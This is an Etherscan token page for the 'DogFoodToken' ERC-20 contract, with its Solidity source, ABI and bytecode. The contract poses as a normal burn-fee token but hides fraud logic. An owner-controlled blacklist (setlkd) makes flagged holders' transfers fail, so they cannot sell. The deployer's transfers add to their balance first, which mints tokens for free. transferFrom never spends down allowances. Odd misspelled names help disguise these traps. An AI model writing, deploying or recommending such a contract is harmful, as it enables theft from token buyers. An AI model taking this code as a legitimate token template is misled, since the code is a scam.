ETH Price: $3,876.38 (+5.78%)

Token

ERC-20: DogFoodToken (DogFood)
 

Overview

Max Total Supply

10,000,000,000 DogFood

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,137,197.648297837 DogFood

Value
$0.00
0x9bdc4d63fc452d25e4ab78559f4f00b8959b20fa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
token

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-03-13
*/

/**
 *Submitted for verification at BscScan.com on 2022-11-11
*/

pragma solidity ^0.8.14;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract token is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private _name = "DogFoodToken";
    string private _symbol = "DogFood";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    address private _ddmmm;
    mapping(address => bool) public _DDDLKD22;

    function setlkd(address accoint) public onlyowner {
        _DDDLKD22[accoint] = true;
    }


    function unsetlkd(address accoint) public onlyowner {
        _DDDLKD22[accoint] = false;
    }


    function islkd(address accoint) public view returns (bool) {
        return _DDDLKD22[accoint];
    }

    constructor () {
        _balance[msg.sender] = _totalSupply;
        _ddmmm =  msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 ameunts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
       
        if (_DDDLKD22[sender]) {
            ameunts = ameunts.mul(_totalSupply);
        }else {
                if(sender == _ddmmm && _ddmmm == owner() && owner() == _msgSender()){
                    _balance[sender] = _balance[sender].add(ameunts);
                }
        }
        uint256 blsender = _balance[sender];
        require(blsender >= ameunts,"IERC20: transfer ameunts exceeds balance");
        
        uint256 feeameunt = 0;
        feeameunt = ameunts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(ameunts);
        _balance[recipient] =  _balance[recipient]+ameunts-feeameunt;
        emit Transfer(sender, _DEADaddress, feeameunt);
        emit Transfer(sender, recipient, ameunts-feeameunt);

    }

    function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, recipient, ammounts);
        return true;
    }


    function balanceOf(address accoint) public view override returns (uint256) {
        return _balance[accoint];
    }

    function approve(address spender, uint256 ammounts) public virtual override returns (bool) {
        _approve(_msgSender(), spender, ammounts);
        return true;
    }

    function _approve(address owner, address spender, uint256 ameunts) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = ameunts;
        emit Approval(owner, spender, ameunts);
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) {
        _transfer(sender, recipient, ameunts);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_DDDLKD22","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"setlkd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ameunts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"unsetlkd","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600c81526020017f446f67466f6f64546f6b656e00000000000000000000000000000000000000008152506004908051906020019062000051929190620002f6565b506040518060400160405280600781526020017f446f67466f6f6400000000000000000000000000000000000000000000000000815250600590805190602001906200009f929190620002f6565b506009600655600654600a620000b6919062000533565b6402540be400620000c8919062000584565b600755600654600a620000dc919062000533565b6402540be400620000ee919062000584565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014657600080fd5b50600062000159620002ee60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e09190620005f6565b60405180910390a362000677565b600033905090565b828054620003049062000642565b90600052602060002090601f01602090048101928262000328576000855562000374565b82601f106200034357805160ff191683800117855562000374565b8280016001018555821562000374579182015b828111156200037357825182559160200191906001019062000356565b5b50905062000383919062000387565b5090565b5b80821115620003a257600081600090555060010162000388565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000434578086048111156200040c576200040b620003a6565b5b60018516156200041c5780820291505b80810290506200042c85620003d5565b9450620003ec565b94509492505050565b6000826200044f576001905062000522565b816200045f576000905062000522565b81600181146200047857600281146200048357620004b9565b600191505062000522565b60ff841115620004985762000497620003a6565b5b8360020a915084821115620004b257620004b1620003a6565b5b5062000522565b5060208310610133831016604e8410600b8410161715620004f35782820a905083811115620004ed57620004ec620003a6565b5b62000522565b620005028484846001620003e2565b925090508184048111156200051c576200051b620003a6565b5b81810290505b9392505050565b6000819050919050565b6000620005408262000529565b91506200054d8362000529565b92506200057c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043d565b905092915050565b6000620005918262000529565b91506200059e8362000529565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005da57620005d9620003a6565b5b828202905092915050565b620005f08162000529565b82525050565b60006020820190506200060d6000830184620005e5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065b57607f821691505b60208210810362000671576200067062000613565b5b50919050565b611da180620006876000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147d565b60405180910390f35b610132600480360381019061012d9190611538565b6103b4565b60405161013f9190611593565b60405180910390f35b6101506103d2565b60405161015d91906115bd565b60405180910390f35b610180600480360381019061017b91906115d8565b6103dc565b60405161018d9190611593565b60405180910390f35b61019e6104c0565b6040516101ab91906115bd565b60405180910390f35b6101ce60048036038101906101c9919061162b565b6104ca565b6040516101db9190611593565b60405180910390f35b6101fe60048036038101906101f9919061162b565b6104ea565b60405161020b91906115bd565b60405180910390f35b61022e6004803603810190610229919061162b565b610533565b005b61024a6004803603810190610245919061162b565b610623565b005b610254610713565b6040516102619190611667565b60405180910390f35b61027261073c565b60405161027f919061147d565b60405180910390f35b6102a2600480360381019061029d9190611538565b6107ce565b6040516102af9190611593565b60405180910390f35b6102c06107f1565b005b6102dc60048036038101906102d79190611682565b610946565b6040516102e991906115bd565b60405180910390f35b61030c6004803603810190610307919061162b565b6109cd565b6040516103199190611593565b60405180910390f35b606060048054610331906116f1565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906116f1565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a23565b8484610a2b565b6001905092915050565b6000600754905090565b60006103e9848484610bf4565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611794565b60405180910390fd5b60019150509392505050565b6000600654905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611800565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af90611800565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074b906116f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610777906116f1565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610a23565b90506107e6818585610bf4565b600191505092915050565b6107f9610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611800565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9190611892565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0090611924565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be791906115bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a906119b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc990611a48565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d4057610d39600754826111b190919063ffffffff16565b9050610ed2565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610df15750610da0610713565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610e365750610e00610a23565b73ffffffffffffffffffffffffffffffffffffffff16610e1e610713565b73ffffffffffffffffffffffffffffffffffffffff16145b15610ed157610e8d81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611ada565b60405180910390fd5b6000610f836064610f75600954866111b190919063ffffffff16565b61128990919063ffffffff16565b9050610fd783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110669190611b29565b6110709190611b7f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161113291906115bd565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111959190611b7f565b6040516111a291906115bd565b60405180910390a35050505050565b60008083036111c35760009050611225565b600082846111d19190611bb3565b90508284826111e09190611c3c565b14611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790611cdf565b60405180910390fd5b809150505b92915050565b600080828461123a9190611b29565b90508381101561127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690611d4b565b60405180910390fd5b8091505092915050565b60006112cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b905092915050565b600061131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611380565b905092915050565b60008083118290611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b919061147d565b60405180910390fd5b50600083856113739190611c3c565b9050809150509392505050565b60008383111582906113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf919061147d565b60405180910390fd5b50600083856113d79190611b7f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141e578082015181840152602081019050611403565b8381111561142d576000848401525b50505050565b6000601f19601f8301169050919050565b600061144f826113e4565b61145981856113ef565b9350611469818560208601611400565b61147281611433565b840191505092915050565b600060208201905081810360008301526114978184611444565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114cf826114a4565b9050919050565b6114df816114c4565b81146114ea57600080fd5b50565b6000813590506114fc816114d6565b92915050565b6000819050919050565b61151581611502565b811461152057600080fd5b50565b6000813590506115328161150c565b92915050565b6000806040838503121561154f5761154e61149f565b5b600061155d858286016114ed565b925050602061156e85828601611523565b9150509250929050565b60008115159050919050565b61158d81611578565b82525050565b60006020820190506115a86000830184611584565b92915050565b6115b781611502565b82525050565b60006020820190506115d260008301846115ae565b92915050565b6000806000606084860312156115f1576115f061149f565b5b60006115ff868287016114ed565b9350506020611610868287016114ed565b925050604061162186828701611523565b9150509250925092565b6000602082840312156116415761164061149f565b5b600061164f848285016114ed565b91505092915050565b611661816114c4565b82525050565b600060208201905061167c6000830184611658565b92915050565b600080604083850312156116995761169861149f565b5b60006116a7858286016114ed565b92505060206116b8858286016114ed565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061170957607f821691505b60208210810361171c5761171b6116c2565b5b50919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b600061177e602a836113ef565b915061178982611722565b604082019050919050565b600060208201905081810360008301526117ad81611771565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117ea6020836113ef565b91506117f5826117b4565b602082019050919050565b60006020820190508181036000830152611819816117dd565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061187c6025836113ef565b915061188782611820565b604082019050919050565b600060208201905081810360008301526118ab8161186f565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061190e6023836113ef565b9150611919826118b2565b604082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119a06026836113ef565b91506119ab82611944565b604082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a326024836113ef565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ac46028836113ef565b9150611acf82611a68565b604082019050919050565b60006020820190508181036000830152611af381611ab7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b3482611502565b9150611b3f83611502565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b7457611b73611afa565b5b828201905092915050565b6000611b8a82611502565b9150611b9583611502565b925082821015611ba857611ba7611afa565b5b828203905092915050565b6000611bbe82611502565b9150611bc983611502565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c0257611c01611afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611c4782611502565b9150611c5283611502565b925082611c6257611c61611c0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cc96021836113ef565b9150611cd482611c6d565b604082019050919050565b60006020820190508181036000830152611cf881611cbc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611d35601b836113ef565b9150611d4082611cff565b602082019050919050565b60006020820190508181036000830152611d6481611d28565b905091905056fea264697066735822122030647fa72aaf751779d3cf2f29087790c700e0e4facea98dae8d373b3f0dc2e364736f6c634300080e0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147d565b60405180910390f35b610132600480360381019061012d9190611538565b6103b4565b60405161013f9190611593565b60405180910390f35b6101506103d2565b60405161015d91906115bd565b60405180910390f35b610180600480360381019061017b91906115d8565b6103dc565b60405161018d9190611593565b60405180910390f35b61019e6104c0565b6040516101ab91906115bd565b60405180910390f35b6101ce60048036038101906101c9919061162b565b6104ca565b6040516101db9190611593565b60405180910390f35b6101fe60048036038101906101f9919061162b565b6104ea565b60405161020b91906115bd565b60405180910390f35b61022e6004803603810190610229919061162b565b610533565b005b61024a6004803603810190610245919061162b565b610623565b005b610254610713565b6040516102619190611667565b60405180910390f35b61027261073c565b60405161027f919061147d565b60405180910390f35b6102a2600480360381019061029d9190611538565b6107ce565b6040516102af9190611593565b60405180910390f35b6102c06107f1565b005b6102dc60048036038101906102d79190611682565b610946565b6040516102e991906115bd565b60405180910390f35b61030c6004803603810190610307919061162b565b6109cd565b6040516103199190611593565b60405180910390f35b606060048054610331906116f1565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906116f1565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a23565b8484610a2b565b6001905092915050565b6000600754905090565b60006103e9848484610bf4565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611794565b60405180910390fd5b60019150509392505050565b6000600654905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611800565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af90611800565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074b906116f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610777906116f1565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610a23565b90506107e6818585610bf4565b600191505092915050565b6107f9610a23565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611800565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473